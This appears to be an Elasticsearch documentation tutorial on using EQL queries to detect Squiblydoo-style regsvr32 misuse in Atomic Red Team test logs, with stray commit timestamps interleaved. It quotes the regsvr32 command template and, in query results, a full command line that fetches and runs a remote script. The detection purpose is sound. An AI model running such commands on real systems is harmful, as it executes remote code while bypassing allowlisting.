2020-08-14 13:40:44 -04:00
[role="xpack"]
[testenv="basic"]
[[eql-ex-threat-detection]]
== Example: Detect threats with EQL
experimental::[]
This example tutorial shows you how you can use EQL to detect security threats
2020-09-21 19:02:10 -04:00
and other suspicious behavior. In the scenario, you're tasked with detecting
https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows
event logs.
`regsvr32.exe` is a built-in command-line utility used to register `.dll`
libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status in
Windows, letting it bypass most allowlist software and script blockers.
Attackers with access to a user's command line can use `regsvr32.exe` to run
malicious scripts using `.dll` libraries, even on machines that otherwise
disallow such scripts.
One common variant of regsvr32 misuse is a
https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
register and run a remote script. These commands often look like this:
2020-08-14 13:40:44 -04:00
2020-09-21 19:02:10 -04:00
[source,sh]
----
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
----
2020-08-14 13:40:44 -04:00
[discrete]
[[eql-ex-threat-detection-setup]]
=== Setup
2020-09-21 19:02:10 -04:00
This tutorial uses a test dataset for regsvr32 misuse from
2020-08-14 13:40:44 -04:00
https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
Schema (ECS)], including the `@timestamp` and `event.category` fields. The
2020-09-21 19:02:10 -04:00
dataset includes events that imitate behaviors of a Squiblydoo attack, as
2020-09-21 19:43:19 -04:00
documented in the https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
2020-08-14 13:40:44 -04:00
To get started, download and index the dataset:
. Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
. Index the data into `my-index-000001` with the following <<docs-bulk,bulk
API>> request:
+
[source,sh]
----
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
----
// NOTCONSOLE
. Use the <<cat-indices,cat indices API>> to verify the data was successfully
indexed.
+
[source,console]
----
GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
----
// TEST[setup:atomic_red_regsvr32]
+
The API response should show a `docs.count` value of `150`, indicating 150
documents were indexed.
+
[source,txt]
----
health status index docs.count
yellow open my-index-000001 150
----
// TESTRESPONSE[non_json]
[discrete]
[[eql-ex-get-a-count-of-regsvr32-events]]
2020-09-21 19:02:10 -04:00
=== Get a count of regsvr32 events
2020-08-14 13:40:44 -04:00
2020-09-21 19:02:10 -04:00
Since you're looking for regsvr32 misuse, start by getting a count of any
2020-08-14 13:40:44 -04:00
events associated with a `regsvr32.exe` process.
The following <<eql-search-api,EQL search API>> request uses an EQL query to
retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
meaning the query can match events of any <<eql-required-fields,event
category>>.
[source,console]
----
GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
{
"query": """
any where process.name == "regsvr32.exe" <2>
""",
"size": 200 <3>
}
----
// TEST[setup:atomic_red_regsvr32]
<1> Uses the `?filter_path=-hits.events` query parameter to exclude the
`hits.events` property from the response. The `hits.events` property contains
the document source for any matching events. This request is intended to
retrieve a count of events only.
<2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
<3> Returns up to 200 events or sequences matching the EQL query.
The request returns the following response, indicating that 143 events match the
query.
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 60,
"timed_out": false,
"hits": {
"total": {
"value": 143,
"relation": "eq"
}
}
}
----
// TESTRESPONSE[s/"took": 60/"took": $body.took/]
[discrete]
[[eql-ex-check-for-command-line-artifacts]]
=== Check for command line artifacts
2020-09-21 19:02:10 -04:00
Based on your previous query, you know regsvr32 processes were associated with
2020-08-14 13:40:44 -04:00
143 events. But how was `regsvr32.exe` first called? And who called it?
2020-09-21 19:02:10 -04:00
`regsvr32.exe` is a command-line utility so it may help to narrow your results
to processes where the command line was used.
2020-08-14 13:40:44 -04:00
Update the previous EQL query as follows:
* Change the `any` keyword to `process`. This limits matches to events with an
`event.category` of `process`.
2020-08-20 10:45:01 -04:00
* Add the `and process.command_line.keyword != null` condition to match only
2020-08-14 13:40:44 -04:00
events with a command line value.
You'll also need to remove the `filter_path=-hits.events` query parameter. This
lets you retrieve the document source for any matching events.
[source,console]
----
GET /my-index-000001/_eql/search
{
"query": """
2020-08-20 10:45:01 -04:00
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
2020-08-14 13:40:44 -04:00
"""
}
----
// TEST[setup:atomic_red_regsvr32]
The query matches one process event. The event has an `event.type` of
`creation`, indicating the start of a `regsvr32.exe` process.
2020-08-20 10:45:01 -04:00
Based on the `process.command_line` value in the response, `regsvr32.exe` used
`scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
2020-09-21 19:02:10 -04:00
Squiblydoo attack.
2020-08-14 13:40:44 -04:00
2020-08-14 15:50:31 -04:00
The response also includes other valuable information about how the
`regsvr32.exe` process started, such as the `@timestamp`, the associated
`user.id`, and the `process.parent.name`.
2020-08-14 13:40:44 -04:00
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 21,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": "my-index-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
}
]
}
}
----
// TESTRESPONSE[s/"took": 21/"took": $body.took/]
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
[discrete]
[[eql-ex-check-for-malicious-script-loads]]
=== Check for malicious script loads
You now know that a `regsvr32.exe` process was used to register a potentially
malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
`scrob.dll` library.
Modify the previous EQL query as follows:
* Change the `process` keyword to `library`.
2020-08-20 10:45:01 -04:00
* Replace the `process.command_line.keyword != null` condition with
2020-08-14 13:40:44 -04:00
`dll.name == "scrobj.dll`.
[source,console]
----
GET /my-index-000001/_eql/search
{
"query": """
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
"""
}
----
// TEST[setup:atomic_red_regsvr32]
The query matches an event, confirming `scrobj.dll` was later loaded by
`regsvr32.exe`.
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 5,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": "my-index-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
}
]
}
}
----
// TESTRESPONSE[s/"took": 5/"took": $body.took/]
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
[discrete]
[[eql-ex-detemine-likelihood-of-sucess]]
2020-09-21 19:43:19 -04:00
=== Determine the likelihood of success
2020-08-14 13:40:44 -04:00
In many cases, malicious scripts are used to connect to remote servers or
download other files. If this occurred, the attack might have succeeded.
Use an <<eql-sequences,EQL sequence query>> to check for the following series of
events, in order:
. A `regsvr32.exe` process, which could have been used to register malicious
scripts as `scrobj.dll`
. A load of the `scrobj.dll` library by the same process
. Any network event by the same process, which could indicate the download of a
remote file
To match, each event in the sequence must share the same process ID, recorded in
the `process.pid` field.
Based on the command line value seen in the previous result, you can expect to
find a match. However, the sequence query isn't designed for that specific
command. Instead, it looks for a pattern of suspicious behavior while still
being generic enough to detect similar threats in the future.
[source,console]
----
GET /my-index-000001/_eql/search
{
"query": """
sequence by process.pid
2020-09-16 11:43:37 -04:00
[process where process.name == "regsvr32.exe"]
[library where dll.name == "scrobj.dll"]
2020-08-14 13:40:44 -04:00
[network where true]
"""
}
----
// TEST[setup:atomic_red_regsvr32]
The query matches a sequence, indicating the attack likely succeeded.
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 25,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"sequences": [
{
"join_keys": [
2020-08-18 12:37:15 -04:00
2012
2020-08-14 13:40:44 -04:00
],
"events": [
{
"_index": "my-index-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
},
{
"_index": "my-index-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
},
{
"_index": "my-index-000001",
"_id": "EF5MJXMBMk1dGnErnBa9",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573238680000,
"destination": {
"address": "151.101.48.133",
"port": "443"
},
"source": {
"address": "192.168.162.134",
"port": "50505"
},
"event": {
"category": "network"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
},
"network": {
"protocol": "tcp",
"direction": "outbound"
}
}
}
]
}
]
}
}
----
// TESTRESPONSE[s/"took": 25/"took": $body.took/]
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]